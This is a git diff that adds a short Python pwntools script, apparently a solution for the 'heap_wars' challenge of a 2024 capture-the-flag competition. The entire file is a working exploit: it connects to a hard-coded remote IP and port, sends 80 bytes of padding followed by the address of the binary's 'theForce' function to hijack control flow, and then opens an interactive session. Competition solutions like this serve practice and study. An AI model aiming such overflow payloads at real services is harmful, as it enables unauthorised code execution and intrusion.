diff --git a/p3rf3ctr00t_ctf_2024/heap_wars/a.py b/p3rf3ctr00t_ctf_2024/heap_wars/a.py new file mode 100644 index 0000000..d114861 --- /dev/null +++ b/p3rf3ctr00t_ctf_2024/heap_wars/a.py @@ -0,0 +1,18 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./heap_wars", checksec=False) +# r = process() +r = remote("94.72.112.248", 1337) + +# funcs +s = lambda a: r.sendlineafter(b": ", a) + +# buf +s(b"1") +buf = b"A"*80 +buf += p64(target.sym.theForce) +s(buf) + +r.interactive() \ No newline at end of file